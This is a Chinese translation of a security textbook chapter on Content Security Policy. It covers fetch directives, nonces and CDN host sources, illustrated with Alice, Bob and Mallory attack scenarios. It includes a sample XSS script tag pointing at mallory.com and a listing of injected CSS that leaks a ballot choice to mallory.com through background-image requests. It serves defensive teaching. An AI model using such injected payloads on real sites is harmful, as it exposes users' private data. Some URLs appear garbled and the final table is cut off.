Python-全栈安全(四)
Python 全栈安全(四)
原文:
annas-archive.org/md5/712ab41a4ed6036d0e8214d788514d6b
译者:飞龙
第十五章:内容安全策略
本章涵盖
-
使用 fetch、navigation 和 document 指令编写内容安全策略
-
使用
django-csp
部署 CSP -
使用报告指令检测 CSP 违规
-
抵抗 XSS 和中间人攻击
服务器和浏览器遵循一个称为内容安全策略(CSP)的标准,以可互操作地发送和接收安全策略。策略限制了浏览器对响应的操作,以保护用户和服务器。策略的限制旨在防止或减轻各种 Web 攻击。在本章中,您将学习如何使用 django-csp
轻松应用 CSP。本章涵盖了 CSP 2 级,并以 CSP 3 级的部分结束。
一个策略通过 Content-Security-Policy
响应头从服务器传递到浏览器。策略只适用于它所在的响应。每个策略包含一个或多个指令。例如,假设 bank.alice.com 对每个资源都添加了图 15.1 中显示的 CSP 头部。该头部携带了一个简单的策略,由一个指令组成,阻止浏览器执行 JavaScript。
图 15.1 一个内容安全策略头部使用简单的策略禁止了 JavaScript 的执行。
这个头部如何抵抗 XSS?假设 Mallory 在 bank.alice.com 发现了一个反射型 XSS 漏洞。她编写了一个恶意脚本将 Bob 的所有资金转移到她的帐户中。Mallory 将这个脚本嵌入到一个 URL 中,并将其通过电子邮件发送给 Bob。Bob 又上当了。他无意中将 Mallory 的脚本发送到 bank.alice.com,然后它被反射回来。幸运的是,Bob 的浏览器受到 Alice 的策略的限制,阻止了脚本的执行。Mallory 的计划失败了,在 Bob 的浏览器的调试控制台中只有一个错误消息。图 15.2 说明了 Mallory 的反射型 XSS 攻击失败了。
图 15.2 Alice 的网站使用 CSP 阻止 Mallory 再次进行反射型 XSS 攻击。
这次,Alice 仅通过一个非常简单的内容安全策略勉强阻止了 Mallory。在下一节中,您将为自己编写一个更复杂的策略。
15.1 编写内容安全策略
在本节中,您将学习如何使用一些常用指令构建自己的内容安全策略。这些指令遵循一个简单的模式:每个指令由至少一个来源组成。一个来源代表浏览器可以从中检索内容的可接受位置。例如,您在上一节中看到的 CSP 头部将一个 fetch 指令 script-src
与一个来源组合在一起,如图 15.3 所示。
图 15.3 Alice 的简单内容安全策略的解剖。
为什么使用单引号?
许多来源,如 none
,使用单引号。这不是一种约定,而是一种要求。CSP 规范要求在实际的响应头中包含这些字符。
这个策略的范围非常狭窄,只包含一个指令和一个来源。这样简单的策略在现实世界中并不有效。一个典型的策略由多个指令组成,用分号分隔,一个或多个来源,用空格分隔。
浏览器在指令具有多个来源时会做出怎样的反应?每个额外的来源都会扩大攻击面。例如,下一个策略将script-src
与none
来源和一个方案来源结合在一起。方案来源通过协议(如 HTTP 或 HTTPS)匹配资源。在这种情况下,协议是 HTTPS(分号后缀是必需的):
Content-Security-Policy: script-src 'none' https:
浏览器处理与任何来源匹配的内容,而不是每个来源。因此,该策略允许浏览器通过 HTTPS 获取任何脚本,尽管有none
来源。该策略也无法抵抗以下 XSS 有效载荷:
<script src="https:/./mallory.com/malicious.js"></script>
一个有效的内容安全策略必须在各种攻击形式和功能开发复杂性之间取得平衡。CSP 通过三个主要的指令类别来实现这种平衡:
-
获取指令
-
导航指令
-
文档指令
最常用的指令是获取指令。这个类别是最大的,也可以说是最有用的。
15.1.1 获取指令
获取指令限制浏览器获取内容的方式。这些指令提供了许多避免或减少 XSS 攻击影响的方法。CSP Level 2 支持 11 个获取指令和 9 种来源类型。为了你的利益和我的利益,涵盖所有 99 种组合是没有意义的。此外,一些来源类型只与一些指令相关,因此本节仅涵盖了与最相关来源结合的最有用指令。它还涵盖了一些要避免的组合。
默认-src 指令
每个良好的策略都以default-src
指令开头。这个指令很特殊。当浏览器没有收到给定内容类型的显式获取指令时,浏览器会退回到default-src
。例如,浏览器在加载脚本之前会查看script-src
指令。如果script-src
不存在,浏览器会用default-src
指令替代它。
将default-src
与self
来源结合是非常推荐的。与none
不同,self
允许浏览器处理来自特定位置的内容。内容必须来自浏览器获取资源的地方。例如,self
允许 Alice 银行的页面处理来自同一主机的 JavaScript。
具体来说,内容必须与资源具有相同的来源。什么是来源?来源由资源 URL 的协议、主机和端口定义。(这个概念不仅适用于 CSP;你将在第十七章再次看到它。)
表 15.1 比较了alice.com/path/
的来源与其他六个 URL 的来源。
表 15.1 将来源与alice.com/path/
进行比较
URL | 匹配的来源? | 原因 |
---|---|---|
http😕/alice.com/path/ | No | Different protocol |
https://bob.com/path/ | No | Different host |
https://bank.alice.com/path/ | No | Different host |
https://alice.com:8000/path/ | No | Different port |
https://alice.com/different_path/ | Yes | Path differs |
https://alice.com/path/?param=42 | Yes | Query string differs |
以下 CSP 标头代表您内容安全策略的基础。该策略仅允许浏览器处理与资源相同来源的内容。浏览器甚至会拒绝响应主体中的内联脚本和样式表。这不能防止恶意内容被注入页面,但它确实防止页面中的恶意内容被执行:
Content-Security-Policy: default-src 'self'
该策略提供了很多保护,但本身相当严格。大多数程序员希望使用内联 JavaScript 和 CSS 来开发 UI 功能。在下一节中,我将向您展示如何通过内容特定的策略异常在安全性和功能开发之间取得平衡。
script-src 指令
正如其名称所示,script-src
指令适用于 JavaScript。这是一个重要的指令,因为 CSP 的主要目标是提供一层防御,防止 XSS。之前你看到 Alice 通过将script-src
与none
源结合来抵抗 Mallory。这减轻了所有形式的 XSS,但是过于保守。none
源阻止所有 JavaScript 执行,包括内联脚本以及来自响应的相同来源的脚本。如果您的目标是创建一个极其安全但无聊的站点,这就是您的来源。
unsafe-inline
来源占据了风险范围的相反端。该来源允许浏览器执行诸如内联<script>
标签、javascript: URL 和内联事件处理程序之类的 XSS 向量。正如名称所警告的,unsafe-inline
是有风险的,您应该避免使用它。
你还应该避免unsafe-eval
来源。该来源允许浏览器从字符串中评估和执行任何 JavaScript 表达式。这意味着以下所有内容都是潜在的攻击向量:
-
eval(string)
函数 -
new Function(string)
-
window.setTimeout(string, x)
-
window.setInterval(string, x)
如何在none
的无聊和unsafe-inline
以及unsafe-eval
的风险之间取得平衡?通过nonce(一次性数字)。粗体字体显示的 nonce 来源包含一个唯一的随机数,而不是self
或none
这样的静态值。根据定义,该数字对于每个响应都是不同的:
Content-Security-Policy: script-src 'nonce-EKpb5h6TajmKa5pK'
如果浏览器收到该策略,它将执行内联脚本,但只有带有匹配的nonce
属性的脚本。例如,该策略将允许浏览器执行以下脚本,因为粗体显示的nonce
属性是匹配的:
<script nonce='EKpb5h6TajmKa5pK'>
/* inline script */
</script>
一个 nonce 来源如何缓解 XSS?假设 Alice 为 bank.alice.com 添加了这一层防御。Mallory 然后发现了另一个 XSS 漏洞,并计划再次向 Bob 的浏览器注入恶意脚本。要成功执行此攻击,Mallory 必须使用 Alice 将要从 Alice 那里收到的相同 nonce 准备脚本。Mallory 事先无法知道 nonce,因为 Alice 的服务器甚至还没有生成它。此外,Mallory 猜对数字的机会几乎为零;在拉斯维加斯赌博会给她比针对 Alice 银行更好的发财机会。
一个 nonce 来源可以缓解 XSS,同时使内联脚本执行。这是最佳选择,既提供了像 none
一样的安全性,又像 unsafe-inline
一样促进了功能开发。
style-src 指令
正如名称所示,style-src
控制浏览器如何处理 CSS。与 JavaScript 一样,CSS 是 Web 开发人员交付功能的标准工具;它也可能被 XSS 攻击利用。
假设 2024 年美国总统选举正在进行中。整个选举只有两个候选人:Bob 和 Eve。有史以来第一次,选民可以在 Charlie 的新网站 ballot.charlie.com 上线上投票。Charlie 的内容安全策略阻止了所有 JavaScript 执行,但未解决 CSS 问题。
Mallory 发现了另一个反射型 XSS 机会。她给 Alice 发送了一个恶意链接。Alice 点击链接并收到了列表 15.1 中显示的 HTML 页面。该页面包含了由 Charlie 撰写的包含两个候选人的下拉列表;它还包含了由 Mallory 植入的样式表。
Mallory 的样式表动态设置了 Alice 所选选项的背景。这个事件触发了一个网络请求来获取背景图像。不幸的是,网络请求还以查询字符串参数的形式向 Mallory 透露了 Alice 的投票情况。Mallory 现在知道了 Alice 投票给了谁。
列表 15.1 Mallory 在 Alice 的浏览器中注入恶意样式表
<html>
<style> /* ❶ */
option[value=bob]:checked { /* ❷ */
background: url(https://mallory.com/?vote=bob); /* ❸ */
}
option[value=eve]:checked { /* ❹ */
background: url(https://mallory.com/?vote=eve); /* ❺ */
}
</style>
<body>
...
<select id="ballot">
<option>Cast your vote!</option>
<option value="bob">Bob</option> <!-- ❻ -->
<option value="eve">Eve</option> <!-- ❻ -->
</select>
...
</body>
</html>
❶ Mallory 注入的样式表
❷ 如果 Alice 为 Bob 投票,则触发
❸ 将 Alice 的选择发送给 Mallory
❹ 如果 Alice 为 Eve 投票
❺ 将 Alice 的选择发送给 Mallory
❻ 两位总统候选人
显然,style-src
指令应该像 script-src
一样受到重视。style-src
指令可以与大多数与 script-src
相同的源结合使用,包括 self
、none
、unsafe-inline
和一个 nonce 来源。例如,以下 CSP 标头说明了一个带有 nonce 来源的 style-src
指令,如粗体所示:
Content-Security-Policy: style-src 'nonce-EKpb5h6TajmKa5pK'
此标题允许浏览器应用以下样式表。如粗体所示,nonce
属性值匹配:
<style nonce='EKpb5h6TajmKa5pK'>
body {
font-size: 42;
}
</style>
img-src 指令
img-src
指令确定浏览器如何获取图像。对于从第三方站点(称为 内容交付网络 (CDN))托管图像和其他静态内容的站点,此指令通常很有用。从 CDN 托管静态内容可以减少页面加载时间、降低成本并抵消流量峰值。
以下示例演示了如何与 CDN 集成。此标头结合了一个 img-src
指令和一个主机源。主机源允许浏览器从特定主机或一组主机获取内容:
Content-Security-Policy: img-src https:/./cdn.charlie.com
下面的策略是主机源可以变得多么复杂的一个示例。星号匹配子域和端口。URL 方案和端口号是可选的。主机可以通过名称或 IP 地址指定:
Content-Security-Policy: img-src https:/./*.alice.com:8000
➥ https:/./bob.com:*
➥ charlie.com
➥ http:/./163.172.16.173
许多其他获取指令并不像迄今为止涵盖的那些那么有用。表 15.2 总结了它们。一般来说,我建议将这些指令从 CSP 标头中省略。这样,浏览器会回退到 default-src
,隐式地将每个指令与 self
结合起来。当然,在现实世界中,你可能需要根据具体情况放宽一些这些限制。
表 15.2 其他获取指令及其管辖内容
CSP 指令 | 相关性 |
---|---|
object-src | |
media-src | |
frame-src | 和 |